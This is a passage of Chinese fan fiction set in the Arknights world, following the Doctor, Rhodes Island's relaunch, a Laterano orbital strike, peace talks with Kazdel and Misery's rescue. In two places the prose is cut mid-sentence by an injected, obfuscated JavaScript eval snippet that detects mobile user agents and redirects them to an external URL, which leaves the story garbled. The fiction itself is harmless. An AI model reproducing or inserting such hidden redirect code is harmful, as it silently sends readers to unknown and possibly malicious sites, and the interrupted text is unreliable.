难怪,难怪博士一直什么都不肯告诉他,因为博士早就知道,无论Misery是否愿意,他掌握的信息都会变成魔王的手牌乃至底牌。即使是用黑冠来对付他这样一个平凡的萨卡兹这样的不光彩行为,魔王们为了卡兹戴尔也完全做得出,他们已经别无选择。 特蕾西娅面对这样的指责,叹气道:“如果可以,我们也不想闹到现在这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15410528|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难以收场的局面,你一直很聪明,Misery,你本来最有希望可以成为博士的学生,但你比那做得更好,你们之间建立了深层次的情感链接。如果你和博士都不那么固执,我们或许可以通过更加体面的方式开展对话。” “我们也不是一无所获,我们不是疯子,战争只是手段,不是目的。”特雷西斯补充道。 “你们想拿我威胁博士?”Misey语气尖锐,攥紧脖子上的黑色颈环,失去源石技艺,就像失去双翼的羽兽一样任人宰割,他现在还能站在这里对着魔王大呼小叫,全靠他这条命留着还有用,“不可能的,他不会因为我改变任何决定。” “你误会了。”特蕾西娅摊平双手,“他会选择加入拉特兰,走到棋盘前来,我们的目的就已经达到。” “你们到底……”Misery的语气不稳,扶住椅背的手臂紧绷。 “爱不能让神明跌落人间,但是恨可以。”特雷西斯解释道,“好好修养吧,你也许会成为改变战局的关键,萨卡兹,活下去,不仅为了你自己,为了博士,更为了泰拉的未来。” 直到魔王离去,Misery才脱力跌坐在椅子上,他抬起腿把自己蜷缩起来。前方一片迷雾,他只能靠偶尔Logos的偶尔探访才能获知外界的最新消息。 女妖替代了Pith的工作,百忙之中还要抽空来维护Misery身上的巫术封印。Logos矜贵的面庞比起以前并没有太多的改变,只是眼神更冷淡了,他也毫不避讳与Misery谈起Scout身上发生的事情。 “我以为你会和Scout一样,想让博士逃得远远的,然后安静度过一生。” “Scout的逃离计划是不是只有我一个人被排除在外?”Misery自嘲道。 “他即使提前与你说明,你也不会答应的,唯有危急时刻方能释放出你的潜力,他的信任没有错付,你做到了。” “……但我自己却被困在这里,即使活下来我也是个废人,没有任何价值。” “你不该如此轻视你的生命,无论是博士还是Scout,他们都会这样纠正你的言语。”Logos提笔在室内家具上换上新的咒言,“活着……就总有希望,如果说这些年我在女妖王庭之主的位置上学到了些什么,那就是命运比你我想的都要难以捉摸。” “如果给你一个机会,让你跟博士一起离开巴别塔,你也会像Scout那样做吗?” “……这种假设毫无意义,我不能离开女妖王庭,正如博士不应属于巴别塔。”女妖只留给他一眼暗色的衣角便悄无声息消失了。 半埋在岩石底下的舰船突然发出一阵蓝光,零星的萨卡兹守卫早已被击倒,无垠的旷野上一座改变所有人命运的舰船在星空的见证下扬帆起航。 Mechanist手里拿着平板调试还能运作的系统,他的移动小车已经接上舰船,拖挂在船后。他通过手里的终端向博士指定的名单从雷姆必拓的定位发去消息。 Mantra是第一个响应的人,尽管已经是下班时间,但Sharp紧随其后,接着是Stormeye,Outcast替煌和迷迭香作出了回复。博士转头看向仍然陪伴在他身边的Raidian,黎博利无奈点头:“如果博士你执意的话,为了孩子们的安全,我同意。这片大地遭受的苦难已经足够多,我相信你会是能够终结这一切的人。” 千里之外维多利亚的正面战场炮火连天,巨大的蒸汽骑士与孽罪奇美拉同时暴露在高浓度的源石粉尘污染中,金属锋刃切开血肉之躯,源石技艺与机械爆破的火花共鸣,破裂开的铠甲缝隙里密密麻麻生长出源石。公爵们与选帝侯们的高速战舰已经投入战场,与卡兹戴尔的飞空艇、魂灵圣杯分庭抗礼。倾倒的建筑与爆炸的源石覆盖了半个伦蒂尼姆。抵达战场的天使们的铳枪为这块饱受战火的土地轰鸣礼炮,献上一场盛大的演出。黑钢国际的舰船同样出现在伦蒂尼姆郊外,他们的首领好巧不巧也是个萨科塔,据桥夹本人说,他也受到了主的指引。 在拉特兰新添了一把柴火后,热闹无比的伦蒂尼姆上,典范军与新王、铁公爵、哥伦比亚佣兵黑钢国际组成了联合战线,硬生生将一座座被炸成废墟、严重污染的移动地块从卡兹戴尔王庭军手里咬过来。莱塔尼亚宣布启用军事联盟,作为卡兹戴尔坚实的盟友加入战局。随着战事的火焰兴起,卡西米尔、乌萨斯国内相继爆发感染者革命,新整合运动兴起扰乱莱塔尼亚边境,阻止其支援卡兹戴尔。哥伦比亚宣布中立,但通过黑钢国际提供武器和佣兵支持。远在北域的萨米报纸刊登社论,声援维多利亚。大炎态度中立,宣布加强边境守卫,防止战火波及。伊比利亚失联已久。萨尔贡没有回应。 罗德岛号正式起航,它从雷姆必拓的矿坑里挣脱出来,径直朝向卡兹戴尔。不同种族的人们聚集在一起,站在甲板上眺望,泰拉的黎明从天边倾斜而下。 博士独自一人站在未开放的罗德岛号底层,拿出贴身仅存的“遗物”,绿色的晶体被机械臂拾取,放入完全封闭的车间。 机械的响动被淹没在全速前进的引擎轰鸣声中,门口的消毒喷气响过以后,门后走出一位熟悉但又陌生的人。她仍然保留着菲林的外表,但外套更多选择了黑色的装饰物,头顶的耳朵毛随着走路的步伐一动一动。 “欢迎回家,凯尔希。” 博士朝她伸出手臂。 30.29 冷清的工作间重新被人的气息填满,Mechanist掸掉又一块数据板上的灰尘。这艘舰船正如博士所言,不属于泰拉上任何已知的技术产物,它如此古老——却又先进得超出这个时代的产物,它接受源石作为供能,但同样以一种Mechanist不能理解的方式,布设了复杂的能量处理车间,仿佛源石仅仅是勉强能够接受的备选项。但Mechanist没空去探究那么多,能运行起来就行,光是因为魔王们早年横冲直撞式的破解造成的物理损伤都足够他头疼好久了。 虽然煌热心来帮忙,但她摸什么什么就烧红得要炸的本事Mechanist已经领教过了,遂特意向博士打申请禁止她进入还未清理完成的区域。Stormeye和Sharp虽然不明白其中原理,但也帮上了很多忙,按照Mechanist的指令将错位的装置一一回位。Mantra忙于通讯系统的重组,Raidian在旁辅助,机械手插线上下翻飞得像蝴蝶的翅膀。Outcast不喜欢船舱里闭塞的空气,自己开着小艇去前面探路去了。至于小猫,她换了一个新的名字,迷迭香,她陪着博士坐在指挥室里,看向立体投影在桌上的蓝色影像。 博士刚刚挂断拉特兰打来的通讯,弗里斯顿仍旧不太放心,跟他絮絮叨叨了许久,如果不是因为身负更加重要的任务,他也会带着小车的身体赶到罗德岛上。这边刚消停,那边凯尔希嘴里叼着棒棒糖推门进来,咬着糖也没停下她的嘴:“博士,按照现在的速度,我们还有三天就能抵达指定的地点,光学伪装运行正常,根据Mantra截获的情报,卡兹戴尔尚未发现我们的踪迹。” “我知道了。” 凯尔希放下手里的平板,挨着迷迭香坐下,先伸手摸了摸小猫的头顶,往人嘴里也塞了个棒棒糖,然后盖住女孩的耳朵,“(未知语言)你知道他们对我做了什么吧?” 博士从数据阵列中抬起头看了她一眼,“(未知语言)……这是你苏醒以来跟我提起的第五次了,凯尔希。” “(未知语言)特雷西斯杀死了我两次,两次——而且以非常残忍的手段。”菲林瞪着眼睛,“在我还是Mon3tr的时候,我被巫妖静止封存在他们那个奇怪的小黑屋里,但从另一端传来的情感没有断过,失望到麻木,痛苦到无法用语言诉说……后来发生的事情我从接收的记忆里知道了,他们怎么能这样对待——” “我想Outcast快回来了,去接下她好吗,迷迭香?” 凯尔希的手不知道什么从她的耳朵上挪开了,小猫抖了抖耳朵,点头安静出去。 “(未知语言)作为‘凯尔希’你还很年轻,需要时间去消化那庞大的记忆和它们背后代表的一切。她深爱着泰拉文明,即使现在坐在我面前的是那一个凯尔希,她也仍然会站在泰拉文明的一边。” “(未知语言)一时半会儿我不可能原谅他们的,即使知道他们这样做的缘由,我也……真的很疼,很疼啊……预言家。”凯尔希的手摸向修复如初的胸口和腹部,那里曾经两次被源石技艺撕裂,致使□□彻底崩毁。 人类的手落在菲林的头顶,像万年以前他对这个女孩做过的那样,给予温暖的抚触。尽管他此时想到的不仅是久远的回忆,还有不久之前属于另一个人的滑滑的、冰凉的触感。 “(未知语言)会好起来的,我保证。” 战场局势瞬息万变,蒸汽骑士的长刀割下被源石风暴点燃的冒着红色焰火的血肉翅膀,滚烫的血液冒着白烟化作源石粉尘消散。血裔蠕动着沐浴双方的血液缠上钢铁机甲的腿,刀刃刺穿它们柔软的血肉挑到一边。食腐者的裹布被深池的火焰吞噬,妖冶的紫色焰火绵延数千米,在城中竖起一道隔绝生与死的墙。女妖吟唱般的哨音被铳枪击碎,光翼刺破了神秘的黑纱。 普通的萨卡兹士兵被数以万计填入战争的熔炉中,回到故乡的机会已经渺然,但他们相信魔王会照顾好身在卡兹戴尔的家人,依然前赴后继投入前线。纵使战士们视死如归,王庭领袖们能够以一敌千,也未能改变萨卡兹节节败退的颓势。 “一切正如您所言,”安多恩的影像在屏幕上闪烁,高浓度源石导致的通讯不稳定,但这影响不了这位除了临时擦过的脸哪里都染上战场硝烟的萨科塔面上露出的兴奋之色,“银石崖战役大获成功,卡兹戴尔据点正在一个个被拔除。” “一场精美绝伦的战局指挥改变不了什么,”博士推倒手中的棋子,“重要的是势,是人心。” 金色的权柄,预言中的神器,诸王之息闪耀在伦蒂尼姆上方,为联军照亮肆虐的源石风暴下生命的航线。维娜·维多利亚拾起旧日的王冠,统领维多利亚的剩余有生力量,金色的阿斯兰撕开了绵延千里的白雾。 博士拾起那一枚国王的棋子前推,他并非按照棋局本身的规则而行动,每一枚棋子单看并不特别,但以点成面,编织出复杂的网络,而一切的起因,是早就倒在棋盘上的一枚不起眼的兵。 “从卡兹戴尔将他们的枪口对准第一个无辜的维多利亚平民开始,就注定会失败。两百多年前的卡兹戴尔,又何尝不是现在的维多利亚?即使泰拉的历史远算不得长,重复的历史也依旧在不断上演……(拉特兰语)日光之下并无新事。” 人类拾起棋盘,棋子纷纷跌落到桌面上,又伸出手臂将它们扫到一边收回盒子里,“是时候进入第二阶段了,前线的指挥全权移交给你,安多恩。” “是,我等定不辱使命,萨科塔的铳枪将永不停歇,直至胜利的号角响彻伦蒂尼姆的大街小巷。” 深藏于山谷中的卡兹戴尔移动城市,与伦蒂尼姆的现状截然相反,这里的生产生活井然有序,即便因为受到战争的影响中断了部分移动城市之间的物资航线,但城内的食物充足,居民生活稳定,巴别塔早期通过与大炎、卡西米尔等国的技术交流完成了粮食的自给自足。 唯有日夜通明的工厂与源源不断流出的武器,街头巷尾头条更新不断的报纸,透露出这座移动城市异常蓬勃的生命力。战争带来的不仅是死亡与悲剧,还有取之不尽的利益和由战争这辆驼兽车拉动的生产力飞跃。 Outcast摘下带有夜视仪功能的望远镜,几下攀上陡峭岩壁,动作迅捷得完全不像还有几年就要退休的人,连气都没喘一下,“雷姆必拓的老乡们说得没错,他们果然藏在这里。” “定位信标?” “已经按照你的要求投放完毕,博士,准确无误,有Stormeye的视觉辅助瞄准,误差不超过半米。” “好,接下来换上渗透小队,务必保证天亮以前完成重点单位控制。” “明白。” “天亮以后,也该卡兹戴尔人尝一尝战争与混乱带来的恐惧了。” 博士注视着屏幕中央位于卡兹戴尔城中心的黑色巨塔型建筑,它在那一次的摧毁性的爆炸中存活,并且修整如新,与博士印象里的模样没有多少出入。人类低头摸出那张仅剩的皱巴巴的照片,与萨卡兹模糊的面容对视,他的声音很轻,宛如情人间低声细语的呢喃:“如果知道你们救下的人终有一天会为泰拉降下无数的灾难,你会后悔那时的选择吗,Misery?” 河畔的航船捎来讯息,隐德来希展开那一张小小的不起眼的纸片,没有晦涩的密文,没有模糊的暗示,上面只写着一个坐标: 【33°51''25.13"S 151°12''54.10"E】 如果只有这一份,还不足以引起重视,但从四面八方汇聚而来的河流上不约而同传递了同样的信息,这就足以让所有人都引起重视,不知来源的神秘发信者几乎向每一个具有地区影响力的国家发去了这个坐标。 它与卡兹戴尔之间的距离处在不远也不近的奇妙地带,那里几乎只有被天灾横扫过的空旷荒漠,在通用地图上被标注了无人区,建议商队和游客绕行通过。但又离卡兹戴尔的实际位置太近了,加上城中最近电力系统与工厂找不出原因的超载与小规模的停转,军用设备的短暂失灵虽然被及时瞒下,但城中已经开始谣言四起,到处人心惶惶。这是否是一种预警?针对卡兹戴尔首都的袭击即将发生。 “巴别塔最优秀的前情报人员,Mantra,我想你应该知道到底发生了什么。”血晶于空气中成型,震动的波纹自内而外产生,血魔眯起眼睛,“希望这不会破坏我们之间小小的交易。” 【很少见你这么急着主动联系我,小玫瑰。】Mantra仰躺在人体工学椅上,她面前的屏幕上那一串地址还在闪烁,穿过天灾与地理的阻挡,像雪片一样发送到最边远的国家。碧蓝色的尾尖卷起热咖啡送到嘴唇边,【放心,我们的目标不是卡兹戴尔,再耐心点,答案自己就会送上门来的。】 “你的话要是信得,我以后都得改吃素了,女士。” 【素食的血魔?听起来不错。你知道交易的规则,我的情报从未出过错,不然你也不会第一时间联系我。】 “我的确有你们需要的消息,但用来交换一个无人区地址?太荒谬了。” 【那么,为了让你的这次通讯没有白费,好心提醒你一下,让你的姐妹们最好离那个坐标远一点。】 “你们到底……” 【好了,免费的信息就到这里,再聊下去我要按字收费的。】 “你!——” 血晶炸裂开,化作一片片的血色花瓣,飘落在隐德来希的脚边,这不属于她的源石技艺。她还是太大意了,因为一时的慌乱乱了阵脚。但Mantra的提醒不得不让她更加谨慎对待接下来的行动,玫瑰河畔的每一艘航船都弥足珍贵,尤其在长期战争状态的当下,谁先一步掌握情报谁就能够抢占先机。 “让所有的姐妹都回来,我亲自去一趟。”她顺着血液的轻微震动向空气轻声呢喃。 拉特兰大教堂地下深处的某个房间内,弗里斯顿的小车没有像往常那样精力充沛地跑来跑去,它被几条粗壮的线缆固定在原地,唯有屏幕上的表情不时改变着,偶有杂音的喇叭碎碎念:“(未知语言)艾德也真是的,表面上跟某人过不去,背后又给人留下这么大的权限,一个两个的,要是都早点更坦诚点就好了——” 通讯的滴滴响声后,“(未知语言)进度如何,弗里斯顿?” “(未知语言)你把我一个人,哦不是,一个车丢在这里,稍微有点良心先关心下我好不好?” 通讯的另一头传来轻笑,“(未知语言)我相信你,弗里斯顿,正因如此,我才放心把你留在那里。” “(未知语言)好了好了,我知道了,你要的数据我已经调整好了,随时可以开始。” 电子时钟移向整点,屋外的太阳光强烈得刺眼,博士终于离开他几乎扎根在上面的椅子,走向擦得光净明亮的舷窗。 “(拉特兰语)愿上帝保佑你们。”他灰白的瞳孔在强光刺激下收缩,“(未知语言)天堂支点重启完毕后的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15416468|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一次试射,启动。” 教堂顶部的光圈陡然扩大到原来的几十倍,比阳光还要刺目的白光从教堂穹顶直射阻隔层,令无数泰拉科学家束手无策的阻隔层漾开波纹,光线轻松穿透厚实的阻隔层,照亮星球黝黑的外部,如果此时漂浮于近地轨道上的万星园上有人能够清醒目睹这一幕,势必会为这一壮观的景象而发狂发疯。隐藏于阻隔层外静默许久的人造天体循着光线的指引校正位置,圆形的天体伸展开长长的手臂,露出核心聚焦镜,红色的代表毁灭的光芒在顶端汇聚,如同一枚血色的宝石悬于泰拉大地的上方。 教堂的顶部,一位萨科塔背对着强光奏响手中的大提琴,她头顶的黑色光环发出与白光一致的频率。极致的毁灭与紊乱的乐曲,所有的萨科塔人都会聆听到这一段疯狂至极的频率,那已经称不上音乐,而是杂乱的、狂喜的、剧痛的、癫狂的、仿佛与生俱来刻在每一个拉特兰人心底的、与他们甜美的喜好与外表截然相反的——身为武器的终极实现。 琴弦承受不住猛烈的源石技艺一根一根崩断,阿尔图罗握住琴弓在空气中无声演奏,纯黑的长发无风舞动。这就是她苦苦追寻已久的答案吗?……原来如此,原来如此!一切的终点亦是一切的起点,领受光环的萨科塔们,共感搭起的桥梁,律法的存在就是为了这一刻的完美释放。 “难道我们就这么看着吗!?”红发的黎博利被铳骑的机枪阻挡,她一脸愤懑,瞳孔的色彩简直像要烧起来一样激烈,“我们千里迢迢刚赶回拉特兰,就得知教宗被软禁,那家伙和他的寻路者接管了拉特兰的教廷……你难道对这一切都无动于衷吗,莫斯提马?” 堕天使头顶的光环依旧失去色泽,她已经感应不到曾经的同胞们此刻的狂热来自于何处,锁与匙中的力量随着中央那道光芒奇异鼓动,她横过法杖阻拦在菲亚梅塔身前,语气依旧淡如水:“冷静些,黎明破坏者,即使你现在冲进去乱射一通,也改变不了什么。更何况我听说安多恩现在正在前线,你进去也找不到他人的。” “但是教宗他——!” “教宗现在很安全,他让我特意嘱咐你,不要因为一时的急躁导致无可挽回的后果,菲亚梅塔,”薇尔丽芙站在铳骑旁,她头顶的光环同样亮起异常的白光,“安多恩现在做的事情不会伤害到任何无辜的人。” “无辜的人……”黎博利握紧手中的枪身,“那么无辜又是由谁来界定的?” “我只能告诉你,不是安多恩,也不是律法,我们正在履行属于我们的使命。”薇尔丽芙回头望向城中央那道耀眼的光束,一向冷静的枢机露出欣然的笑容。 强悍的高能粒子流掀开阻隔层的遮掩,几乎畅通无阻穿过泰拉的大气层,笔直朝向指定的坐标。整个泰拉大陆为之一颤,萨尔贡王庭宴席上的葡萄美酒晃出边缘,萨米猎人的指南针针尖摆动,雷姆必拓地下矿坑在雷鸣般的响动中簌簌落下尘土,所有安装了移动预警装置的移动城市都在震动中响起警报。与此同时,卡兹戴尔城内爆炸声此起彼伏,所有的军工设施被重点爆破,为移动供能的核心炉停摆。唯有一处安静的庭院中,落下的干枯树叶静悄悄飘落在卡斯特的纪念碑面前。 隐德来希迎着白光流下刺痛的泪水,藏在裙下的机械肢体往下扎根进地面抵抗这股冲击力。烟尘散去以后,这道从天而降的打击在无人区造成了一个直径上百公里的巨坑,她此刻站在悬崖边上一眼望不见尽头,风吹起她血色的裙摆,尘土压在她的肩头重如千钧,就连她曾经站在巨兽的骨架前都从未有过这样的视觉震撼,自身的存在是那么的渺小。毒辣的太阳打在她的身上却凭空带来一股寒意,泰拉上没有任何国家的已知武器能够造成这样剧烈的地形破坏,也许只有一场超大型的天灾能够与之媲美。 她颤抖的手摸向腰包里的血晶,赢不了的,卡兹戴尔绝无胜利的可能,绝对的实力差距摆在面前,泰拉上的任何移动城市都会在这一击下灰飞烟灭。 她捏碎血晶,血液和言语的交织,搭建起了临时的交流通道。 【啊,我还在想你多久会联系我呢。如何,魔王会喜欢这个见面礼吗?】 “来做个交易怎么样?……你们的指挥官会对这个人的下落感兴趣的。” 一张印有玫瑰印记的纸张几经辗转交到博士的手中,在长久的战争拉锯中,卡兹戴尔首次递来了和平的橄榄枝。 “他们早该这么做了。”Sharp说道,“战火一直没有波及到卡兹戴尔本土,所以他们能够得到普通萨卡兹民众的支持。这下好了,城内乱作一团,这针没扎到自己身上,永远体会不到疼。” “Stormeye和煌他们还留在卡兹戴尔城内,需要召回吗?”Mechanist问道。 “除了Stormeye,还有留守罗德岛的Mechanist和Raidian,其他人随我一起前往和谈约定的地点。拉特兰的突击小队已经在启程前往的路上了,我们会和他们汇合。” 被博士单独留下的Stormeye安顿好身处平民区的家人后,急不可耐主动拨给博士,他的语气急切:“我也要和你们一起去,博士!” “不,我让你留下不仅是因为你的家人,还有更加重要的任务要单独交给你。”博士的语气沉静,萨卡兹原本还想挣扎一下,连迷迭香都跟着博士去了,他一个人留在这里算什么意思,但博士接下来说的话让他改变了主意。 “……Misery还活着。” 31.30 在那一场近乎全泰拉直播式的精准打击后,伦蒂尼姆迎来了第一个停火的日出,废墟之上安静得令习惯了以炮火声作为白天黑夜交界线的人不适应。萨卡兹和联军各自退回据点,巡逻的士兵与对方哨兵远远相望,第一次不再需要拾起武器应对任何可能的突袭。 三方领袖前往维多利亚与卡兹戴尔交界处独立的小型移动城市展开和平会谈。 圣徒与教廷骑士打头阵,铳枪比人先至,博士半边脸藏进兜帽中在拉特兰教廷的护送下安静入座。此时会议的风暴中心正吵得不可开交,特蕾西娅率先提出的各退一步没能得到联军的支持,卡兹戴尔同意撤军,但维多利亚同样要撤出布置在卡兹戴尔边境的军事力量,双方签立互不侵犯条约。温德米尔公爵冷笑着双手揣在胸前,仅剩的独眼射出军人钢铁般的目光,她的语言也掷地有声:“就这样打发我们不太好吧,魔王殿下?我们的要求也不多,就四个字,让卡兹戴尔血、债、血、偿。” “桥夹”克里夫坐在中立方席位,嘴里叼着烟斗,岁月的刀锋在这位萨科塔坚毅的脸上刻下道道沟壑,却也给这位经历丰富的传奇佣兵增添了独特的魅力,“听我一句劝,各位在这里流的血已经够多了,作为一个生意人,我提议由卡兹戴尔赔偿这场战争的所有损失,黑钢国际愿意提供对应的催收服务。当然,我相信以魔王的信誉,这点损失完全可以接受。” 几位大公爵与那位新王维娜端坐中心,与魔王面对面,那把传奇的诸王之息静静躺在桌上,散发无声的震慑。铁公爵与爱布拉娜静观其变,红龙的后裔双手撑在下巴上,脸上流露出不耐烦。莱塔尼亚仅仅派出了一位选帝侯作为代表,他们参与战争的程度有限,边境上的骚乱令现任的双子女皇自顾不暇。 Logos同样坐在谈判席上,在一众严重超龄的王庭之主中显得格外年轻稚嫩,也没人把他当做战争的帮凶为难,他的目光落在拉特兰席位上的博士和人类身后的哪怕掩饰了身形他也依旧认得出的Mantra,斐迪亚女士朝他露出一个凉飕飕的微笑。 赔偿款像雪球一样越滚越大,无数个零像绳索一样套在卡兹戴尔的脖颈上,绞死整个国家的未来。 咚。特雷西斯的长刀刺穿木桌插进地面,争吵的烈度进一步升级,寡言的魔王忍无可忍,拍着桌子控诉道:“难道你们维多利亚就干净得很?别忘了这场战争的起因!这几十年来维多利亚做过些什么,在场的诸位冠冕堂皇的公爵们,你们会不清楚?在你们的授意下针对卡兹戴尔边境的频繁滋扰,还故意紧追不放,逼得那几座小型移动城市闯进天灾,导致大量的惨剧发生,一桩桩一件件骇人听闻的血债,卡兹戴尔人都记得清清楚楚——萨卡兹遭受的苦难你们又何曾在意?” 双方言辞激烈,互不相让,姗姗来迟的拉特兰阵营迟迟没有发表意见。安多恩平静注视着争吵的漩涡越来越大,在这场谈判中真正具有话语权的人还未发声,吵得就算再厉害,战场上拿不到的东西在谈判桌上也别想拿到。 博士清了清喉咙,食指轻敲桌面,“各位——”只是一个轻微的小动作,争吵双方立即噤声投来注视,无数双眼睛都在背后盯着拉特兰席位。 “我有一个提议,大家不妨听一听,如何?”博士略一转头,伸手示意。安多恩拾起那张早已起草好的和平协议,念出上面的内容。 “由拉特兰提出并监督实施的折中方案,双方各自退回实控区,伦蒂尼姆拆分,划区共治……后续的俘虏交换、赔偿条款,在会议持续的这一周内由各方代表共同协商,卡兹戴尔作为战败方需要作出战争赔偿……直到各方同意签订新的和平条约,由拉特兰监督执行。在此期间,双方停火,允许人道主义援助的进入,全力救治被战争波及的平民。” 暂时被卸掉反抗能力的卡兹戴尔首都留下了相当一部分力量维护城内的治安,在人心惶惶的当下,卡兹戴尔的失败已经是板上钉钉的事实,人们在讨论拉特兰的力量来源于何处,这和他们前些年试图推行的万□□会有关吗,卡兹戴尔是否会因为战争的失败再次陷入两百多年前的灾难。 Stormeye换上他刚刚抢来的巴别塔制服,这座黑色巨塔外表和内部构造和他当年加入时的变化不大,但早已人去楼空。他熟练顺着通风管道躲避开巡逻的士兵,他的前同事有且只有一个可能关在一个地方,巴别塔的最底层,守卫最为森严的秘密区域。 他的手已经落在那扇门上,但额角传来的一阵冷风令他警觉向后躲避。一面凶悍的大盾挡在他与那扇特制的金属厚门之间,地面被砸出裂缝,斐迪亚壮汉手上的绷带被血渗透,但他似乎完全感受不到疼痛一般,如同一面坚实的墙壁挡在Stormeye面前。 “现在回头还来得及,真没想到博士居然会派你来……” “这句话该我说才对,卡兹戴尔已经输了,你又何必挡我的路?”Stormeye抽出随身的短刀,在室内他的弓施展不开,但他的近战技术同样不差,虽然当初一时不慎输给了Scout,但面对受伤动作迟缓的Ace,他有获胜的把握。 “你太年轻了,Stormeye,博士实际上不是你看到的那样,在目睹了那样恐怖的破坏性以后,连魔王都没能预见的力量,你居然还能相信他?”Ace那把短锤舞得猎猎生风,与他结实的体格完全不符合的轻盈,但Stormeye知道这一锤子下去能造成多么严重的伤害,他曾经在训练室见到过Ace一拳打穿训练用人偶上套的钢板。 “那你呢,Ace?你因为太老了所以无法接受现实,我们的魔王走错了路。”短刀卸掉锤子挥过的力道,正面与Ace的力量对抗完全不现实。但也许因为他们谁也说不服谁,两人都默契不使用源石技艺,单纯力与力之间的野蛮角逐。 “你把Misery带走改变不了任何事。”Ace捂住受伤的胳膊,气喘吁吁靠在大盾上。 “什么意思?我不管那么多,我的任务就是把他完整带回去,连一条胳膊都不能少。”Stormeye同样甩了甩肩膀,他在Ace的完全放弃防御的进攻下半个胳膊已经失去了知觉。 “他现在能活着是因为——” “Ace,到此为止吧。”黎博利冷静的声音中断了这场打斗,Pith挤进两人之间,她的法杖敲了敲大门,源石技艺的光闪过以后,这道加密的大门终于对外敞开,“趁守卫赶来之前,带他走。” “哦天,老兄,你现在轻得我一只胳膊都抬得起来,他们是怎么对你的,把你饿上了三天三夜?” Misery面色憔悴,昏昏欲睡,被Stormeye扛起来都没能清醒过来对话。Pith搀扶着Ace退到一边,注视两位萨卡兹走远,斐迪亚垂下他固执的老兵脑袋,像一下子苍老了好几岁,尾巴上的鳞片也不复过去的光泽。 “难道我真的做错了吗,Pith?” “……我们别无选择,Ace,巴别塔是我们这种被抛弃的老兵唯一的容身之处。(高卢语)作为战争赌注的不仅是只有种族和国家的命运,还有人类的命运。”黎博利攥紧手中的法杖,“但愿博士他真的拥有传言中的力量。” 为了吊住Misery岌岌可危的精神,不让他彻底睡过去,Stormeye一路上绞尽脑汁跟他东拉西扯。从卡兹戴尔城内的混乱情况到最近几个月他们做了什么,博士在罗德岛上召集了他们,令所有人都吃惊的是,博士不仅是聪明的学者,还是出色的指挥官。他们一路上在雷姆必拓本地游击队的帮助下顺利抵达卡兹戴尔,以精准的外科手术刀式打击重创卡兹戴尔首都,并且以一种最具威慑性的方式展示武力,迫使卡兹戴尔求和。 “你真该看看博士指挥战斗时的样子,太辣了,我知道这样说也许不合适,但我第一时间想到的形容只有这个。是你的话,你读书多,应该会用更加文雅的词语来形容。想当初我还笑话你对待博士太谨慎了……现在想想,他的确值得尊重。” 只有提到博士时,萨卡兹才有点微弱的反应,胳膊肘和膝盖不时动弹几下,Stormeye继续添柴加火,“他有一张你的照片——我们都以为你已经死在卡兹戴尔的军队手里,他也不例外,但我看到过好几次他在独处时把那张照片拿出来——哦别误会,兄弟,我是无意间撞见的,毕竟弓箭手的视力总会让我们看到一些别人不容易发现的东西。 “……在知道你还活着以后,他第一时间就安排好了一切,巴别塔的布防图,让源石技艺失效的特殊装置……Ace和Pith的出现纯粹是意外,这绝对不是因为我技艺不精啊,我告诉你,免得以后你在外面乱说,按照博士的推测,Ace这个时候应该还在医院里躺着,Pith应该守在城墙上,防止外来的术士浑水摸鱼闯进城内……” Stormeye嘴巴都快说干了,总算把Misery带回罗德岛号上。Raidian推着担架车将萨卡兹送入医疗室,Mechanist见到Misery几乎发出了如出一辙的感慨:“天啊,我还不知道巴别塔会虐待俘虏!可怜的Misery,他就像我连轴转了几周的车床一样干瘪无力!” “博士还有几天才能回来,这场和平谈判持续得够久的。”Raidian不再微笑,她挥舞机械手,折断Misery脖子上的黑色束缚环,拿起氧气面罩扣上萨卡兹苍白瘦削得骨头突出的脸,仪器上的各项数值正处在危险的边缘,几针提前准备好的药剂推下去,才终于有了一点起色。 “但他活下来了,而且很安全,我们可以告诉博士这个好消息。”Stormeye接了杯水润润喉咙。 Mechanist手里的终端咔嚓一声,作为回应。 涉及到战后的利益分配,仅仅是塔拉与维多利亚之间的复杂错综的关系就够新王头疼的了。博士只需要带着圣徒坐在那里,这群人就不得不摆出文明人的样子,用合同和数字解决彼此之间的纠纷。拉特兰没有接受卡兹戴尔的赔款,仿佛他们这一次远离家乡的讨伐是真的出于正义与和平。现在的拉特兰已经不再是过去偏安一隅的乐土,它向世人敞开了大门,展示了绝对的武力,无论居住其上的每一位萨科塔与黎博利怎么想,他们已经被迫走到了泰拉的舞台中央,人人谈之而色变。 “明天所有的和平条约都会正式签订并且公布,”费德里科整理好桌面上的文件,博士这几日比往常更加寡言,时常望着天边出神,“这些繁杂的事务本不该叨扰您的。如果您为此感到疲惫,我可以护送您先行一步回到拉特兰,这里交给安多恩处理。” “不,我在拉特兰的事务已了,你们已经不需要我了。” 萨科塔手上的动作一顿,他皱起眉,似乎不能够理解博士说的话,“律法和教宗都不会同意您的观点,我们需要您,博士。” “我以为只有跟你说过的话不用重复第二遍,费德里科。明天之后,教宗将由安多恩与伊万杰利斯塔十一世共同担任,身为被选中的圣徒,你们有义务辅佐并且校正拉特兰前进的方向。” “那您呢,博士?您……你准备去什么地方?”萨科塔的语气微妙改变了,像一个不和谐的音符,在他平平的语调中显得格外突兀。 “去一个能让我的内心重新找回平静的地方。” 博士又一次望向黑沉的天边。 